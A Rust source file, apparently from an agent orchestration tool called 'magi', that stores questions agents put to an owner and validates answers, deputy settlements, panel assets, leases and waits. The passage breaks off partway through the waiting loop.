1use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43pub const SCHEMA: u32 = 10;
63
64const POLL: Duration = Duration::from_secs(3);
73
74const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
85
86const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
92
93const WAIT_SLICE: Duration = Duration::from_secs(240);
117
118pub const LEASE_TTL: Duration = Duration::from_secs(90);
128
129const LOCK_STALE: Duration = Duration::from_secs(10);
132
133pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
144
145pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
154
155const PANEL_DIR: &str = ".panel";
161
162const PANEL_HTML: &str = "index.html";
164
165const PANEL_TMP: &str = ".panel.tmp";
167
168pub fn valid_asset_name(name: &str) -> bool {
185 if name.is_empty() || name.len() > 64 || name.contains("..") {
186 return false;
187 }
188 let mut chars = name.chars();
189 chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
190 && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
191}
192
193#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
195#[serde(rename_all = "lowercase")]
196pub enum QuestionStatus {
197 Open,
199 Answered,
201 Abandoned,
205}
206
207impl QuestionStatus {
208 pub fn open(self) -> bool {
210 matches!(self, Self::Open)
211 }
212
213 pub fn as_str(self) -> &'static str {
215 match self {
216 Self::Open => "open",
217 Self::Answered => "answered",
218 Self::Abandoned => "abandoned",
219 }
220 }
221}
222
223#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
230#[serde(rename_all = "lowercase")]
231pub enum Answer {
232 Choice(String),
234 Text(String),
236}
237
238#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
246#[serde(tag = "do", rename_all = "lowercase")]
247pub enum ChoiceAction {
248 Resume {
250 run: String,
252 },
253 Requeue,
255 Done,
257}
258
259impl ChoiceAction {
260 pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
265 let Some((label, verb)) = spec.rsplit_once('=') else {
266 bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|done>`");
267 };
268 let label = label.trim();
269 if label.is_empty() {
270 bail!("`--action {spec}` names no choice before `=`");
271 }
272 let verb = verb.trim();
273 let action = match verb.split_once(':') {
274 Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
275 run: run.trim().to_owned(),
276 },
277 None if verb == "resume" => {
278 if default_run.is_empty() {
279 bail!("`--action {spec}` names no run and MAGI_RUN is not set");
280 }
281 Self::Resume {
282 run: default_run.to_owned(),
283 }
284 }
285 None if verb == "requeue" => Self::Requeue,
286 None if verb == "done" => Self::Done,
287 _ => bail!(
288 "unknown action `{verb}` in `--action {spec}`; \
289 use resume[:<run>], requeue or done"
290 ),
291 };
292 Ok((label.to_owned(), action))
293 }
294
295 pub fn describe(&self) -> String {
297 match self {
298 Self::Resume { run } => format!("resume run {}", short(run)),
299 Self::Requeue => "requeue the task".to_owned(),
300 Self::Done => "mark the task done".to_owned(),
301 }
302 }
303}
304
305pub fn parse_actions(
308 specs: &[String],
309 choices: &[String],
310 default_run: &str,
311) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
312 let mut out = std::collections::BTreeMap::new();
313 for spec in specs {
314 let (label, action) = ChoiceAction::parse(spec, default_run)?;
315 if !choices.contains(&label) {
316 bail!(
317 "`--action {spec}`: `{label}` is not one of the --choice values ({})",
318 choices.join(", ")
319 );
320 }
321 if out.insert(label.clone(), action).is_some() {
322 bail!("more than one --action for `{label}`");
323 }
324 }
325 Ok(out)
326}
327
328#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
339#[serde(rename_all = "lowercase")]
340pub enum Who {
341 Operator,
343 Agent,
346}
347
348#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
356#[serde(deny_unknown_fields)]
357pub struct Turn {
358 pub who: Who,
360 pub body: String,
362 pub at: Timestamp,
364 #[serde(default, skip_serializing_if = "Option::is_none")]
369 pub note: Option<String>,
370}
371
372#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
374#[serde(rename_all = "lowercase")]
375pub enum WaiterKind {
376 Asker,
378 Daemon,
381 Deputy,
385}
386
387#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
399pub struct Deputy {
400 pub brief: String,
403 #[serde(default)]
405 pub agent: String,
406 #[serde(default)]
408 pub seat: Option<crate::agent::SeatState>,
409 #[serde(default)]
412 pub starts: u32,
413}
414
415impl Deputy {
416 pub fn new(brief: String) -> Self {
418 Self {
419 brief,
420 agent: String::new(),
421 seat: None,
422 starts: 0,
423 }
424 }
425}
426
427pub fn deputy_seat_key(id: &str) -> String {
429 format!("deputy-{}", short(id))
430}
431
432#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
437pub struct Waiter {
438 pub kind: WaiterKind,
440 pub since: Timestamp,
442}
443
444#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
453pub struct Lease {
454 pub kind: WaiterKind,
456 pub pid: u32,
458 pub beat_at: Timestamp,
460}
461
462impl Lease {
463 pub fn fresh(&self, now: Timestamp) -> bool {
465 now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
466 }
467}
468
469#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
471#[serde(deny_unknown_fields)]
472pub struct Question {
473 pub schema: u32,
475 pub id: String,
478 pub run: String,
480 pub node: String,
482 pub seat: String,
485 pub summary: String,
488 pub detail: String,
491 #[serde(default, skip_serializing_if = "Option::is_none")]
493 pub posting_comparison: Option<crate::github_text::PostingComparison>,
494 pub choices: Vec<String>,
498 #[serde(default)]
502 pub actions: std::collections::BTreeMap<String, ChoiceAction>,
503 #[serde(default)]
510 pub panel: bool,
511 #[serde(default)]
518 pub assets: Vec<String>,
519 pub status: QuestionStatus,
521 pub asked_at: Timestamp,
523 #[serde(default)]
525 pub triage_generation: Option<u64>,
526 pub answered_at: Option<Timestamp>,
528 pub answer: Option<Answer>,
530 #[serde(default)]
539 pub thread: Vec<Turn>,
540 #[serde(default)]
555 pub answer_timeout: u64,
556 #[serde(default)]
562 pub cwd: Option<String>,
563 #[serde(default)]
565 pub waiter: Option<Waiter>,
566 #[serde(default)]
570 pub delivered_turns: usize,
571 #[serde(default)]
574 pub answer_delivered: bool,
575 #[serde(default)]
578 pub deputy: Option<Deputy>,
579 #[serde(default)]
583 pub consult: Option<ChatConsult>,
584 #[serde(default)]
587 pub decision_context: Option<String>,
588}
589
590#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
592pub struct ChatConsult {
593 pub talk: String,
595 pub at: Timestamp,
597}
598
599impl Question {
600 pub fn run_names_task(&self) -> bool {
603 matches!(
604 self.node.as_str(),
605 crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
606 )
607 }
608
609 pub fn new(
612 run: String,
613 node: String,
614 seat: String,
615 summary: String,
616 detail: String,
617 choices: Vec<String>,
618 ) -> Self {
619 Self {
620 schema: SCHEMA,
621 id: new_id(),
622 run,
623 node,
624 seat,
625 summary,
626 detail,
627 posting_comparison: None,
628 choices,
629 actions: std::collections::BTreeMap::new(),
630 panel: false,
631 assets: Vec::new(),
632 status: QuestionStatus::Open,
633 asked_at: Timestamp::now(),
634 triage_generation: None,
635 answered_at: None,
636 answer: None,
637 thread: Vec::new(),
638 answer_timeout: 0,
639 cwd: None,
640 waiter: None,
641 delivered_turns: 0,
642 answer_delivered: false,
643 deputy: None,
644 consult: None,
645 decision_context: None,
646 }
647 }
648
649 pub fn short(&self) -> &str {
651 short(&self.id)
652 }
653
654 pub fn chosen_action(&self) -> Option<&ChoiceAction> {
657 match (&self.status, &self.answer) {
658 (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
659 _ => None,
660 }
661 }
662
663 pub fn free_text(&self) -> bool {
665 self.choices.is_empty()
666 }
667
668 pub fn answer(&mut self, answer: Answer) -> Result<()> {
678 match self.status {
679 QuestionStatus::Answered => bail!(
680 "question {} was already answered; the run has moved on and a \
681 second answer would be a decision nobody acted on",
682 self.short()
683 ),
684 QuestionStatus::Abandoned => bail!(
685 "question {} was abandoned and the run behind it is gone",
686 self.short()
687 ),
688 QuestionStatus::Open => {}
689 }
690 let body = match &answer {
691 Answer::Choice(c) | Answer::Text(c) => c.as_str(),
692 };
693 if body.trim().is_empty() {
694 bail!(
695 "question {} needs an answer; an empty one tells the agent \
696 nothing and it would guess anyway",
697 self.short()
698 );
699 }
700 match &answer {
701 Answer::Choice(c) if self.free_text() => bail!(
702 "question {} asks for free text, so `{c}` cannot be a choice \
703 it offered",
704 self.short()
705 ),
706 Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
707 "`{c}` is not one of the choices question {} offers: {}",
708 self.short(),
709 self.choices.join(", ")
710 ),
711 Answer::Text(_) if !self.free_text() => bail!(
712 "question {} is multiple choice; answer with one of: {}",
713 self.short(),
714 self.choices.join(", ")
715 ),
716 _ => {}
717 }
718 self.answered_at = Some(Timestamp::now());
719 self.answer = Some(answer);
720 self.status = QuestionStatus::Answered;
721 Ok(())
722 }
723
724 pub fn abandon(&mut self, why: impl Into<String>) {
736 if !self.status.open() {
737 return;
738 }
739 self.status = QuestionStatus::Abandoned;
740 let why = why.into();
741 let why = why.trim();
742 if why.is_empty() {
743 return;
744 }
745 if !self.detail.is_empty() {
746 self.detail.push('\n');
747 }
748 self.detail.push_str("\n_Abandoned: ");
749 self.detail.push_str(why);
750 self.detail.push_str("._\n");
751 }
752
753 pub fn resolution(&self) -> Option<String> {
760 match (self.status, &self.answer) {
761 (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
762 Some(a.clone())
763 }
764 _ => None,
765 }
766 }
767
768 pub fn settle_by_deputy(
779 &mut self,
780 seat: &str,
781 label: &str,
782 quote: &str,
783 note: Option<&str>,
784 ) -> Result<()> {
785 let Some(deputy) = &self.deputy else {
786 bail!("question {} has no deputy", self.short());
787 };
788 let own = deputy.seat.as_ref().map(|s| s.key.as_str());
789 if own != Some(seat) {
790 bail!("only the deputy of question {} may settle it", self.short());
791 }
792 if !self.choices.iter().any(|c| c == label) {
793 bail!(
794 "`{label}` is not one of the choices offered on question {}",
795 self.short()
796 );
797 }
798 let quote = quote.trim();
799 if quote.is_empty()
800 || !self
801 .thread
802 .iter()
803 .any(|t| t.who == Who::Operator && t.body.contains(quote))
804 {
805 bail!(
806 "the quote is not something the owner said on question {}",
807 self.short()
808 );
809 }
810 let latest = self
813 .thread
814 .iter()
815 .rev()
816 .find(|t| t.who == Who::Operator)
817 .map(|t| {
818 if self.node == crate::github_text::ASK_NODE && !crate::deputy::merge_gated(self) {
819 t.body.as_str()
820 } else {
821 t.body.trim()
822 }
823 });
824 if crate::deputy::merge_gated(self) {
825 let ok = if label == crate::land::APPROVE {
831 latest.is_some_and(|m| m.contains(quote))
832 } else if label == crate::land::HOLD || label == crate::land::REPAIR {
833 latest.is_some_and(|m| {
834 quote.eq_ignore_ascii_case(label) && m.eq_ignore_ascii_case(label)
835 })
836 } else {
837 false
838 };
839 if !ok {
840 bail!(
841 "on a merge approval `{label}` settles it only when the quote is a \
842 verbatim part of the owner's latest message ({}); if the wording is \
843 doubtful, ask what they mean with `--thread` instead",
844 if label == crate::land::HOLD {
845 "for `hold`, the whole message"
846 } else {
847 "the quote must be the instruction itself"
848 }
849 );
850 }
851 } else if self.node == crate::github_text::ASK_NODE
852 && crate::deputy::destructive(self, label)
853 {
854 if !latest.is_some_and(|m| crate::github_text::posting_authorized(m, quote, label)) {
855 bail!(
856 "posting confirmation requires an explicit, unconditional instruction for the chosen text quoted verbatim from the latest owner message"
857 );
858 }
859 } else if crate::deputy::destructive(self, label)
860 && !latest.is_some_and(|m| crate::land::unhedged(m, quote))
861 {
862 bail!(
863 "`{label}` cannot be undone; it settles question {} only when the owner's \
864 latest message clearly says so, unhedged and quoted verbatim (no maybe / if \
865 / not / question); ask what they mean with `--thread` instead",
866 self.short()
867 );
868 }
869 self.thread.push(Turn {
870 who: Who::Agent,
871 body: format!("Settled as `{label}` on the owner's words: \"{quote}\""),
872 at: Timestamp::now(),
873 note: note
874 .map(str::trim)
875 .filter(|n| !n.is_empty())
876 .map(str::to_owned),
877 });
878 self.delivered_turns = self.thread.len();
879 self.answer(Answer::Choice(label.to_owned()))
880 }
881
882 pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
893 match self.status {
894 QuestionStatus::Answered => bail!(
895 "question {} was already answered; there is nothing left to \
896 discuss",
897 self.short()
898 ),
899 QuestionStatus::Abandoned => bail!(
900 "question {} was abandoned and the run behind it is gone",
901 self.short()
902 ),
903 QuestionStatus::Open => {}
904 }
905 let body = body.into();
906 if body.trim().is_empty() {
907 bail!("a message to question {} cannot be empty", self.short());
908 }
909 self.thread.push(Turn {
910 who: Who::Operator,
911 body,
912 at: Timestamp::now(),
913 note: None,
914 });
915 Ok(())
916 }
917
918 pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
928 match self.status {
929 QuestionStatus::Answered => bail!(
930 "question {} was already answered; replying now would not \
931 reach anyone",
932 self.short()
933 ),
934 QuestionStatus::Abandoned => bail!(
935 "question {} was abandoned and the run behind it is gone",
936 self.short()
937 ),
938 QuestionStatus::Open => {}
939 }
940 let body = body.into();
941 if body.trim().is_empty() {
942 bail!("a reply to question {} cannot be empty", self.short());
943 }
944 self.actions.retain(|label, _| choices.contains(label));
946 self.choices = choices;
947 let unread = self.unread_from_owner().is_some();
948 self.thread.push(Turn {
949 who: Who::Agent,
950 body,
951 at: Timestamp::now(),
952 note: None,
953 });
954 if !unread {
958 self.delivered_turns = self.thread.len();
959 }
960 Ok(())
961 }
962
963 pub fn unread_from_owner(&self) -> Option<String> {
970 if !self.status.open() {
971 return None;
972 }
973 let said = self.undelivered_owner_turns();
974 (!said.is_empty()).then(|| said.join("\n\n"))
975 }
976
977 pub fn undelivered_owner_turns(&self) -> Vec<&str> {
983 let from = self.delivered_turns.min(self.thread.len());
984 self.thread[from..]
985 .iter()
986 .filter(|t| t.who == Who::Operator)
987 .map(|t| t.body.as_str())
988 .collect()
989 }
990
991 pub fn last_activity(&self) -> i64 {
995 self.thread
996 .iter()
997 .map(|t| t.at.as_second())
998 .max()
999 .unwrap_or(0)
1000 .max(self.asked_at.as_second())
1001 }
1002
1003 pub fn waiting_on_agent(&self) -> bool {
1012 self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1013 }
1014
1015 fn should_notify(&self, now: Timestamp) -> bool {
1023 let Some(last) = self
1024 .thread
1025 .iter()
1026 .rev()
1027 .find(|t| t.who == Who::Operator)
1028 .map(|t| t.at)
1029 else {
1030 return true;
1031 };
1032 now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1033 }
1034}
1035
1036#[derive(Debug, Clone)]
1038pub struct Questions {
1039 root: PathBuf,
1040}
1041
1042impl Questions {
1043 pub fn open() -> Self {
1045 Self::at(crate::run::home().join("questions"))
1046 }
1047
1048 pub fn at(root: PathBuf) -> Self {
1051 Self { root }
1052 }
1053
1054 pub fn root(&self) -> &Path {
1056 &self.root
1057 }
1058
1059 pub fn path_of(&self, id: &str) -> PathBuf {
1061 self.root.join(format!("{id}.json"))
1062 }
1063
1064 pub fn panel_dir(&self, id: &str) -> PathBuf {
1066 self.root.join(format!("{id}{PANEL_DIR}"))
1067 }
1068
1069 pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1093 if !valid_asset_name(&q.id) {
1094 bail!(
1095 "question id `{}` is not a name magi will build a panel path from",
1096 q.id
1097 );
1098 }
1099 if html.trim().is_empty() {
1100 bail!(
1101 "question {} was handed an empty panel; an empty frame reads to \
1102 the owner as \"the agent had nothing to say\", which is a lie",
1103 q.short()
1104 );
1105 }
1106
1107 let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1110 for src in assets {
1111 let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1112 if !valid_asset_name(name) {
1113 bail!(
1114 "panel asset `{}` cannot be stored: a panel file name must \
1115 match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1116 src.display()
1117 );
1118 }
1119 if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1120 bail!(
1121 "two panel assets are both named `{name}` - {} and {} - and \
1122 the panel can only show one of them; rename one at the source",
1123 first.display(),
1124 src.display()
1125 );
1126 }
1127 named.push((name.to_owned(), src.as_path()));
1128 }
1129
1130 let mut total = html.len() as u64;
1131 for (_, src) in &named {
1132 let meta = std::fs::metadata(src)
1133 .with_context(|| format!("stat panel asset {}", src.display()))?;
1134 if !meta.is_file() {
1135 bail!(
1136 "panel asset `{}` is not a file; a panel is html plus files \
1137 copied beside it",
1138 src.display()
1139 );
1140 }
1141 total = total.saturating_add(meta.len());
1142 }
1143 if total > PANEL_MAX_BYTES {
1144 bail!(
1145 "panel for question {} is {total} bytes, over magi's cap of \
1146 {PANEL_MAX_BYTES} bytes; nothing was written",
1147 q.short()
1148 );
1149 }
1150
1151 let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1152 let dir = self.panel_dir(&q.id);
1153 std::fs::create_dir_all(&self.root)
1154 .with_context(|| format!("create {}", self.root.display()))?;
1155 clear_dir(&tmp)?;
1156 std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1157 if let Err(e) = fill_panel(&tmp, html, &named) {
1158 let _ = std::fs::remove_dir_all(&tmp);
1161 return Err(e);
1162 }
1163 clear_dir(&dir)?;
1164 std::fs::rename(&tmp, &dir)
1165 .with_context(|| format!("move panel into {}", dir.display()))?;
1166
1167 q.panel = true;
1168 q.assets = named.into_iter().map(|(n, _)| n).collect();
1169 q.assets.sort_unstable();
1170 Ok(())
1171 }
1172
1173 pub fn panel_html(&self, id: &str) -> Option<String> {
1179 if !valid_asset_name(id) {
1180 return None;
1181 }
1182 std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1183 }
1184
1185 pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1196 if !valid_asset_name(name) {
1197 bail!(
1198 "`{name}` is not a panel file name; it must match \
1199 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1200 );
1201 }
1202 if !valid_asset_name(id) {
1203 return Ok(None);
1204 }
1205 let dir = self.panel_dir(id);
1206 if !dir.is_dir() {
1207 return Ok(None);
1208 }
1209 let path = dir.join(name);
1210 match std::fs::read(&path) {
1211 Ok(bytes) => Ok(Some(bytes)),
1212 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1213 Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1214 }
1215 }
1216
1217 pub fn drop_panel(&self, id: &str) -> Result<()> {
1226 if !valid_asset_name(id) {
1227 bail!("question id `{id}` is not a name magi will build a panel path from");
1228 }
1229 clear_dir(&self.panel_dir(id))?;
1230 clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1231 }
1232
1233 pub fn lease_path(&self, id: &str) -> PathBuf {
1235 self.root.join(format!("{id}.lease"))
1236 }
1237
1238 pub fn read_lease(&self, id: &str) -> Option<Lease> {
1240 let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1241 serde_json::from_str(&body).ok()
1242 }
1243
1244 pub fn beat(&self, id: &str, kind: WaiterKind) {
1251 let lease = Lease {
1252 kind,
1253 pid: std::process::id(),
1254 beat_at: Timestamp::now(),
1255 };
1256 let path = self.lease_path(id);
1257 let tmp = path.with_extension("lease.tmp");
1258 let written = std::fs::create_dir_all(&self.root)
1259 .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1260 .and_then(|()| std::fs::rename(&tmp, &path));
1261 if let Err(e) = written {
1262 tracing::debug!("could not beat the lease on question {id}: {e}");
1263 }
1264 }
1265
1266 pub fn drop_lease(&self, id: &str) {
1268 let _ = std::fs::remove_file(self.lease_path(id));
1269 }
1270
1271 pub fn update<T>(
1282 &self,
1283 id: &str,
1284 f: impl FnOnce(&mut Question) -> Result<T>,
1285 ) -> Result<(Question, T)> {
1286 std::fs::create_dir_all(&self.root)
1287 .with_context(|| format!("create {}", self.root.display()))?;
1288 let lock = self.root.join(format!("{id}.lock"));
1289 let started = std::time::Instant::now();
1290 loop {
1291 match std::fs::OpenOptions::new()
1292 .write(true)
1293 .create_new(true)
1294 .open(&lock)
1295 {
1296 Ok(_) => break,
1297 Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1298 let stale = std::fs::metadata(&lock)
1299 .and_then(|m| m.modified())
1300 .ok()
1301 .and_then(|t| t.elapsed().ok())
1302 .is_some_and(|age| age > LOCK_STALE);
1303 if stale {
1304 let _ = std::fs::remove_file(&lock);
1305 } else if started.elapsed() > LOCK_STALE {
1306 bail!("could not lock question {id}");
1307 } else {
1308 std::thread::sleep(Duration::from_millis(15));
1309 }
1310 }
1311 Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1312 }
1313 }
1314 struct Unlock(PathBuf);
1315 impl Drop for Unlock {
1316 fn drop(&mut self) {
1317 let _ = std::fs::remove_file(&self.0);
1318 }
1319 }
1320 let _guard = Unlock(lock);
1321 let mut q = read_path(&self.path_of(id))?;
1322 let out = f(&mut q)?;
1323 self.put(&mut q)?;
1324 Ok((q, out))
1325 }
1326
1327 pub fn put(&self, q: &mut Question) -> Result<()> {
1331 std::fs::create_dir_all(&self.root)
1332 .with_context(|| format!("create {}", self.root.display()))?;
1333 let body = serde_json::to_string_pretty(q).context("serialize question")?;
1334 let path = self.path_of(&q.id);
1335 let tmp = path.with_extension("json.tmp");
1336 let is_new = !path.exists();
1337 std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1338 std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1339 if is_new
1342 && q.status.open()
1343 && q.node != crate::bump::NOTICE_NODE
1344 && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1345 {
1346 crate::notices::quiet_for(home, q);
1347 }
1348 Ok(())
1349 }
1350
1351 pub fn get(&self, id: &str) -> Result<Question> {
1353 let resolved = self.resolve_id(id)?;
1354 let q = read_path(&self.path_of(&resolved))?;
1355 Ok(self.with_repair_choice(q))
1356 }
1357
1358 fn with_repair_choice(&self, q: Question) -> Question {
1359 if (q.status.open() || q.resolution().as_deref() == Some(crate::land::REPAIR))
1360 && q.node == crate::land::APPROVAL_NODE
1361 && (!q.choices.iter().any(|c| c == crate::land::REPAIR)
1362 || q.actions.get(crate::land::REPAIR)
1363 != Some(&ChoiceAction::Resume { run: q.run.clone() }))
1364 && let Some(home) = self.root.parent()
1365 && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1366 && crate::land::repair_available(&state)
1367 && state
1368 .land_approval
1369 .as_ref()
1370 .is_some_and(|a| a.question == q.id)
1371 {
1372 match self.update(&q.id, |current| {
1373 crate::land::upgrade_repair_choice(current, &state);
1374 Ok(())
1375 }) {
1376 Ok((current, ())) => return current,
1377 Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1378 }
1379 }
1380 q
1381 }
1382
1383 pub fn list(&self) -> Vec<Question> {
1391 let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1392 .into_iter()
1393 .flatten()
1394 .flatten()
1395 .map(|e| e.path())
1396 .filter(|p| p.extension().is_some_and(|x| x == "json"))
1397 .filter_map(|p| read_path(&p).ok())
1398 .map(|q| self.with_repair_choice(q))
1399 .collect();
1400 all.sort_unstable_by(|a, b| {
1401 let rank = |q: &Question| u8::from(!q.status.open());
1402 rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1403 });
1404 all
1405 }
1406
1407 pub fn open_for(&self, run: &str) -> Vec<Question> {
1413 self.list()
1414 .into_iter()
1415 .filter(|q| q.status.open() && q.run == run)
1416 .collect()
1417 }
1418
1419 pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1432 let mut abandoned = 0;
1433 for mut q in self.open_for(run) {
1434 q.abandon(why);
1435 self.put(&mut q)?;
1436 abandoned += 1;
1437 }
1438 Ok(abandoned)
1439 }
1440
1441 pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1465 if status.resumable() {
1466 return Ok(0);
1467 }
1468 let why = format!(
1469 "run {run} {}, so nothing is waiting for this answer",
1470 status.as_str()
1471 );
1472 let mut abandoned = 0;
1477 for mut q in self.open_for(run) {
1478 if q.node == crate::bump::NOTICE_NODE {
1479 continue;
1480 }
1481 q.abandon(&why);
1482 self.put(&mut q)?;
1483 abandoned += 1;
1484 }
1485 Ok(abandoned)
1486 }
1487
1488 pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1491 use crate::queue::{Reference, record_ids, resolve_reference};
1492 let ids = record_ids(&self.root, "json")?;
1493 match resolve_reference(prefix, ids.iter().map(String::as_str)) {
1494 Reference::Found(id) => Ok(id),
1495 Reference::Missing => bail!("no question matches `{prefix}`"),
1496 Reference::Ambiguous => bail!("`{prefix}` matches multiple questions"),
1497 }
1498 }
1499
1500 pub fn revision(&self) -> u64 {
1504 std::fs::read_dir(&self.root)
1505 .into_iter()
1506 .flatten()
1507 .flatten()
1508 .filter_map(|e| e.metadata().ok())
1509 .filter_map(|m| m.modified().ok())
1510 .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1511 .map(|d| d.as_millis() as u64)
1512 .max()
1513 .unwrap_or(0)
1514 }
1515
1516 pub fn count_open(&self) -> usize {
1522 self.list().iter().filter(|q| q.status.open()).count()
1523 }
1524
1525 pub fn count_needs_owner(&self) -> usize {
1534 self.list()
1535 .iter()
1536 .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
1537 .count()
1538 }
1539
1540 pub fn deputy_exhausted(&self, q: &Question) -> bool {
1544 q.status.open()
1545 && q.deputy
1546 .as_ref()
1547 .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
1548 && !self
1549 .read_lease(&q.id)
1550 .is_some_and(|l| l.fresh(Timestamp::now()))
1551 }
1552}
1553
1554#[derive(Debug, Clone, PartialEq, Eq)]
1556pub enum Wait {
1557 Answered(String),
1559 Replied(String),
1564 Pending,
1571 Abandoned,
1576}
1577
1578pub async fn ask_and_wait(
1585 q: &mut Question,
1586 store: &Questions,
1587 notify: &config::Notify,
1588 timeout: Duration,
1589) -> Result<Wait> {
1590 wait_for_owner(q, store, notify, timeout, POLL).await
1591}
1592
1593pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1608 wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1609}
1610
1611async fn wait_for_owner(
1617 q: &mut Question,
1618 store: &Questions,
1619 cfg: &config::Notify,
1620 timeout: Duration,
1621 poll: Duration,
1622) -> Result<Wait> {
1623 if !store.path_of(&q.id).is_file() {
1627 store.put(q).context("file the question")?;
1628 }
1629 if q.should_notify(Timestamp::now()) {
1630 if let Err(e) = notify(cfg, q).await {
1631 tracing::warn!(
1636 "could not notify about question {}: {e:#} - the web UI is the \
1637 only surface for it now",
1638 q.short()
1639 );
1640 }
1641 }
1642 tracing::info!(
1643 "question {} from {} is waiting for you: {}",
1644 q.short(),
1645 q.seat,
1646 q.summary
1647 );
1648 wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1649}
1650
1651fn hold(store: &Questions, id: &str) {
1653 store.beat(id, WaiterKind::Asker);
1654 let took = store.update(id, |q| {
1655 if q.status.open() {
1656 q.waiter = Some(Waiter {
1657 kind: WaiterKind::Asker,
1658 since: Timestamp::now(),
1659 });
1660 }
1661 Ok(())
1662 });
1663 if let Err(e) = took {
1664 tracing::debug!("could not note the wait on question {id}: {e:#}");
1665 }
1666}
1667
1668pub fn hand_over(store: &Questions, q: &mut Question) {
1676 let done = store.update(&q.id, |r| {
1677 r.delivered_turns = r.delivered_turns.max(q.thread.len());
1678 if r.status == QuestionStatus::Answered {
1679 r.answer_delivered = true;
1680 }
1681 r.waiter = None;
1682 Ok(())
1683 });
1684 match done {
1685 Ok((fresh, ())) => *q = fresh,
1686 Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
1687 }
1688}
1689
1690pub fn answer_for_agent(q: &Question, answer: &str) -> String {
1694 let says = q.undelivered_owner_turns();
1695 if says.is_empty() {
1696 return answer.to_owned();
1697 }
1698 format!(
1699 "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
1700 says.join("\n\n")
1701 )
1702}
1703
1704pub fn deliver_answer(
1707 store: &Questions,
1708 q: &mut Question,
1709 answer: &str,
1710 out: &mut impl std::io::Write,
1711) -> std::io::Result<()> {
1712 writeln!(out, "{}", answer_for_agent(q, answer))?;
1713 out.flush()?;
1714 hand_over(store, q);
1715 Ok(())
1716}
1717
1718async fn wait_loop(
1728 q: &mut Question,
1729 store: &Questions,
1730 timeout: Duration,
1731 slice: Duration,
1732 poll: Duration,
1733) -> Result<Wait> {
1734 if let Some(said) = q.unread_from_owner() {
1744 return Ok(Wait::Replied(said));
1745 }
1746 hold(store, &q.id);
1747
1748 let bounded = timeout.min(slice);
1749 let is_the_real_deadline = bounded >= timeout;
1750 let deadline = tokio::time::Instant::now() + bounded;
1751 loop {
1752 let now = tokio::time::Instant::now();
